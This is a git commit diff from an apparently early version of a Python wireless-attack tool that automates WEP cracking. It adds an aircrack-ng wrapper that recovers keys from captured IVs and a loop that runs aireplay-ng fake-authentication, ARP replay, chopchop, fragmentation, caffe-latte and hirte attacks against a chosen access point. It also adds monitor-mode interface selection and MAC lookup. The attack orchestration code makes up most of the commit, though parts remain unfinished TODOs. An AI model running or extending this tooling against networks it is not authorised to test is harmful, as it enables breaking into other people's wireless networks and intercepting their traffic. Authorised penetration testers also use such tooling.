Working on getting WEP attacks finished

Lots of small fixes/tweaks/changes.
This commit is contained in:
derv82
2015-05-31 02:28:54 -07:00
parent e4dc646688
commit 35de5ea8a6
11 changed files with 271 additions and 55 deletions

71
py/Aircrack.py Normal file
View File

@@ -0,0 +1,71 @@
#!/usr/bin/python
from Process import Process
from Configuration import Configuration
import os
class Aircrack(object):
def __init__(self, ivs_file):
self.cracked_file = Configuration.temp() + 'wepkey.txt'
# Delete previous cracked files
if os.path.exists(self.cracked_file):
os.remove(self.cracked_file)
command = [
'aircrack-ng',
'-a', '1',
'-l', self.cracked_file,
ivs_file
]
self.pid = Process(command, devnull=True)
def is_running(self):
return self.pid.poll() == None
def is_cracked(self):
return os.path.exists(self.cracked_file)
def get_key_hex_ascii(self):
if not self.is_cracked():
raise Exception('Cracked file not found')
f = open(self.cracked_file, 'r')
hex_raw = f.read()
f.close()
hex_key = ''
ascii_key = ''
while len(hex_raw) > 0:
if hex_key != '':
hex_key += ':'
hex_key += hex_raw[0:2]
# Convert hex to decimal
code = int(hex_raw[0:2], 16)
if code < 32 or code > 127:
# Hex key is non-printable in ascii
ascii_key = None
continue
elif ascii_key == None:
continue
# Convert decimal to char
ascii_key += chr(code)
hex_raw = hex_raw[2:]
return (hex_key, ascii_key)
if __name__ == '__main__':
from time import sleep
Configuration.initialize()
a = Aircrack('tests/files/wep-crackable.ivs')
while a.is_running():
sleep(1)
if a.is_cracked():
print "cracked!"
print '(hex, ascii) =', a.get_key_hex_ascii()
else:
print "Not cracked"
Configuration.exit_gracefully(0)

View File

@@ -49,14 +49,15 @@ class WEPAttackType(object):
class Aireplay(object):
def __init__(self, target, attack_type):
def __init__(self, target, attack_type, client_mac=None):
'''
Starts aireplay process.
Args:
target - Instance of Target object, AP to attack.
attack_type - int, str, or WEPAttackType instance.
client_mac - MAC address of an associated client.
'''
cmd = Aireplay.get_aireplay_command(target, attack_type)
cmd = Aireplay.get_aireplay_command(target, attack_type, client_mac)
self.pid = Process(cmd, devnull=False)
def is_running(self):
@@ -72,12 +73,13 @@ class Aireplay(object):
return self.pid.stdout()
@staticmethod
def get_aireplay_command(target, attack_type):
def get_aireplay_command(target, attack_type, client_mac=None):
'''
Generates aireplay command based on target and attack type
Args:
target - Instance of Target object, AP to attack.
attack_type - int, str, or WEPAttackType instance.
client_mac - MAC address of an associated client.
'''
# Interface is required at this point
@@ -87,8 +89,9 @@ class Aireplay(object):
cmd = ['aireplay-ng']
cmd.append('--ignore-negative-one')
client_mac = None
if len(target.clients) > 0:
if not client_mac and len(target.clients) > 0:
# Client MAC wasn't specified, but there's an associated client. Use that.
client_mac = target.clients[0].station
# type(attack_type) might be str, int, or WEPAttackType.
@@ -101,10 +104,8 @@ class Aireplay(object):
cmd.extend(['-T', '1']) # Make 1 attemp
if target.essid_known:
cmd.extend(['-e', target.essid])
# TODO Should we specify the source MAC as a client station?
#if client_mac:
# cmd.extend(['-h', client_mac])
# Do not specify client MAC address,
# we're trying to fake-authenticate using *our* MAC
elif attack_type == WEPAttackType.replay:
cmd.append('--arpreplay')
@@ -173,9 +174,17 @@ if __name__ == '__main__':
print t.name, type(t.name), t.value
from Target import Target
fields = 'AA:BB:CC:DD:EE:FF, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 1, 54, WPA2, CCMP TKIP,PSK, -58, 2, 0, 0. 0. 0. 0, 9, HOME-ABCD, '.split(',')
fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e, WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',')
t = Target(fields)
cmd = Aireplay.get_aireplay_command(t, 'fakeauth')
print ' '.join(['"%s"' % a for a in cmd])
'''
aireplay = Aireplay(t, 'replay')
while aireplay.is_running():
from time import sleep
sleep(0.1)
print aireplay.get_output()
'''

View File

@@ -104,7 +104,7 @@ class Airmon(object):
@staticmethod
def stop(iface):
# TODO (this)
# TODO airmon-ng stop iface
pass
@@ -127,21 +127,40 @@ class Airmon(object):
interfaces.append(iface)
return interfaces
if __name__ == '__main__':
@staticmethod
def ask():
''' Asks user to define which wireless interface to use '''
mon_ifaces = Airmon.get_interfaces_in_monitor_mode()
mon_count = len(mon_ifaces)
if mon_count == 1:
# Assume we're using the device already in montior mode
iface = mon_ifaces[0]
Color.pl('{+} using interface {G}%s{W} which is already in monitor mode'
% iface);
return iface
a = Airmon()
a.print_menu()
count = len(a.interfaces)
question = Color.s("Select interface ({G}1-%d{W}): " % (count))
if count == 0:
# No interfaces found
Color.pl('{!} {O}airmon-ng did not find {R}any{O} wireless interfaces')
raise Exception('airmon-ng did not find any wireless interfaces')
elif count == 1:
# Only one interface, assume this is the one to use
iface = a.get(1)
else:
# Multiple interfaces found
question = Color.s("{+} select interface ({G}1-%d{W}): " % (count))
choice = raw_input(question)
iface = a.get(choice)
Color.pl("You chose: {G}%s{W}" % iface.name)
if a.get(choice).name in mon_ifaces:
Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.name)
else:
Airmon.start(iface)
#a.start(a.interfaces[0])
return iface.name
if __name__ == '__main__':
Airmon.ask()

View File

@@ -11,7 +11,9 @@ import os
class Airodump(object):
''' Wrapper around airodump-ng program '''
def __init__(self, interface=None, channel=None, encryption=None, wps=False, target_bssid=None, output_file_prefix='airodump'):
def __init__(self, interface=None, channel=None, encryption=None, \
wps=False, target_bssid=None, output_file_prefix='airodump', \
ivs_only=False):
''' Constructor, sets things up '''
Configuration.initialize()
@@ -33,6 +35,8 @@ class Airodump(object):
self.target_bssid = target_bssid
self.output_file_prefix = output_file_prefix
self.ivs_only = ivs_only
def __enter__(self):
'''
@@ -59,6 +63,11 @@ class Airodump(object):
if self.target_bssid:
command.extend(['--bssid', self.target_bssid])
if self.ivs_only:
command.extend(['--output-format', 'ivs,csv'])
else:
command.extend(['--output-format', 'pcap,csv'])
# Start the process
self.pid = Process(command, devnull=True)
return self
@@ -75,20 +84,28 @@ class Airodump(object):
# Delete temp files
self.delete_airodump_temp_files()
def delete_airodump_temp_files(self):
''' Deletes airodump* files in the temp directory '''
def find_files(self, endswith=None):
''' Finds all files in the temp directory that start with the output_file_prefix '''
result = []
for fil in os.listdir(Configuration.temp()):
if fil.startswith(self.output_file_prefix):
os.remove(Configuration.temp() + fil)
if not endswith or fil.endswith(endswith):
result.append(Configuration.temp() + fil)
return result
def delete_airodump_temp_files(self):
''' Deletes airodump* files in the temp directory '''
for fil in self.find_files():
os.remove(fil)
def get_targets(self):
''' Parses airodump's CSV file, returns list of Targets '''
# Find the .CSV file
csv_filename = None
for fil in os.listdir(Configuration.temp()):
if fil.startswith(self.output_file_prefix) and fil.endswith('-01.csv'):
for fil in self.find_files(endswith='-01.csv'):
# Found the file
csv_filename = Configuration.temp() + fil
csv_filename = fil
break
if csv_filename == None or not os.path.exists(csv_filename):
# No file found

View File

@@ -1,5 +1,7 @@
#!/usr/bin/python
import time
class Attack(object):
'''
Contains functionality common to all attacks

View File

@@ -4,6 +4,7 @@ from Attack import Attack
from Airodump import Airodump
from Aireplay import Aireplay, WEPAttackType
from Configuration import Configuration
from Interface import Interface
from Color import Color
import time
@@ -26,20 +27,85 @@ class AttackWEP(Attack):
# First, start Airodump process
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
ivs_only=True, # Only capture IVs packets
output_file_prefix='wep') as airodump:
airodump_target = self.wait_for_target(airodump)
for attack_num in xrange(1, 6):
if self.fake_auth():
# We successfully authenticated!
# Use our interface's MAC address for the attacks.
client_mac = Interface.get_mac()
elif len(airodump_target.clients) == 0:
# There are no associated clients. Warn user.
Color.pl('{!} {O}there are no associated clients{W}')
Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' +
' without fake-authentication or associated clients{W}')
client_mac = None
else:
client_mac = airodump_target.clients[0].station
aircrack = None # Aircrack process, not started yet
wep_attack_types = [
'replay',
'chopchop',
'fragment',
'caffelatte',
'p0841',
'hirte'
]
for attack_name in wep_attack_types:
# Convert to WEPAttackType.
wep_attack_type = WEPAttackType(attack_name)
# Start Aireplay process.
aireplay = Aireplay(self.target, \
wep_attack_type, \
client_mac=client_mac)
# Loop until attack completes.
while True:
airodump_target = self.wait_for_target(airodump)
Color.p('\r{+} WEP attack {C}%s{W} ({G}%d IVs{W}) '
% (attack_name, airodump_target.ivs))
# TODO: Check if we cracked it.
# if aircrack and aircrack.cracked():
# Check number of IVs, crack if necessary
if airodump_target.ivs > Configuration.wep_crack_at_ivs:
# TODO:
# 1. Check if we're already trying to crack:
# aircrack and aircrack.is_running()
# 2. If not, start cracking:
# aircrack = Aircrack(airodump_target, capfile)
pass
#aireplay = Aireplay(self.target, attack_num)
'''
TODO (pending until I get a router to test on)
* Wait for IVS to start flowing, e.g. sleep(1).
* if IVS > threshold, start cracking.
* Check aireplay.is_running() to see if it completed/failed.
* Continue attacks depending on aireplay status.
'''
if not aireplay.is_running():
# Some Aireplay attacks loop infinitely
if attack_name == 'chopchop' or attack_name == 'fragment':
print '\nChopChop stopped, output:'
print aireplay.get_output()
# We expect these to stop once a .xor is created
# TODO:
# Check for .xor file.
# If it's not there, the process failed. Check stdout.
# If xor exists, run packetforge-ng on it.
# If packetforge created the .cap file to replay, then replay it
# Change attack_name to 'forged arp replay'
# Start Aireplay by replaying the cap file
pass
else:
print '\naireplay.get_output() =', aireplay.get_output()
raise Exception('Aireplay exited unexpectedly')
# TODO:
# Replay: Check if IVS stopped flowing (same for > 20 sec)
# If so, restart the Replay attack.
time.sleep(1)
continue
def fake_auth(self):
@@ -48,6 +114,8 @@ class AttackWEP(Attack):
Returns: True if successful,
False is unsuccesful.
'''
Color.p('{+} attempting {G}fake-authentication{W} with {C}%s{W}...'
% self.target.bssid)
start_time = time.time()
aireplay = Aireplay(self.target, 'fakeauth')
process_failed = False
@@ -56,7 +124,7 @@ class AttackWEP(Attack):
aireplay.stop()
process_failed = True
break
time.sleep(1)
time.sleep(0.1)
# Check if fake-auth was successful
if process_failed:
@@ -66,8 +134,9 @@ class AttackWEP(Attack):
fakeauth = 'association successful' in output.lower()
if fakeauth:
Color.pl('{+} {G}fake-authentication successful{W}')
Color.pl(' {G}success{W}')
else:
Color.pl(' {R}failed{W}')
if Configuration.require_fakeauth:
# Fakeauth is requried, fail
raise Exception(
@@ -86,9 +155,8 @@ class AttackWEP(Attack):
if __name__ == '__main__':
from Target import Target
fields = "30:85:A9:39:D2:18, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54, WPA2, CCMP TKIP,PSK, -58, 2, 0, 0. 0. 0. 0, 9, Uncle Router's Gigabit LAN Party, ".split(',')
fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e,WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',')
target = Target(fields)
wep = AttackWEP(target)
wep.fake_auth()
wep.run()

View File

@@ -19,8 +19,8 @@ class Color(object):
# Helper string replacements
replacements = {
'{+}': '{W}[{G}+{W}]',
'{!}': '{W}[{R}!{W}]'
'{+}': ' {W}[{G}+{W}]',
'{!}': ' {W}[{R}!{W}]'
}
@staticmethod

View File

@@ -30,8 +30,9 @@ class Configuration(object):
# WEP variables
Configuration.wep_only = False # Only attack WEP networks
Configuration.wep_pps = 6000 # Packets per second
Configuration.wep_pps = 600 # Packets per second
Configuration.wep_timeout = 600 # Seconds to wait before failing
Configuration.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking
Configuration.require_fakeauth = False
# WEP-specific attacks
Configuration.wep_fragment = True
@@ -82,6 +83,11 @@ class Configuration(object):
if args.wordlist: Configuration.wordlist = args.wordlist
if args.require_fakeauth: Configuration.require_fakeauth = False
if Configuration.interface == None:
# Interface wasn't defined, select it!
from Airmon import Airmon
Configuration.interface = Airmon.ask()
@staticmethod
def temp():

View File

@@ -68,3 +68,26 @@ class Interface(object):
s += '-' * (Interface.PHY_LEN + Interface.NAME_LEN + Interface.DRIVER_LEN + Interface.CHIPSET_LEN)
return s
@staticmethod
def get_mac(iface=None):
from Configuration import Configuration
from Process import Process
import re
if iface == None:
Configuration.initialize()
iface = Configuration.interface
if iface == None:
raise Exception('Interface must be defined (-i)')
output = Process(['ifconfig', iface]).stdout()
mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1]
match = re.search('HWaddr (%s)' % mac_regex, output)
if not match:
raise Exception('Could not find the mac address for %s' % iface)
return match.groups()[0].replace('-', ':')
if __name__ == '__main__':
mac = Interface.get_mac()
print 'wlan0mon mac address:', mac

View File

@@ -121,8 +121,8 @@ class Scanner(object):
if __name__ == '__main__':
Configuration.initialize()
# Example displays targets and selects the appropriate one
Configuration.initialize()
try:
s = Scanner()
targets = s.select_targets()
@@ -133,3 +133,4 @@ if __name__ == '__main__':
Color.p("{W}Selected: ")
print t
Configuration.exit_gracefully(0)

Binary file not shown.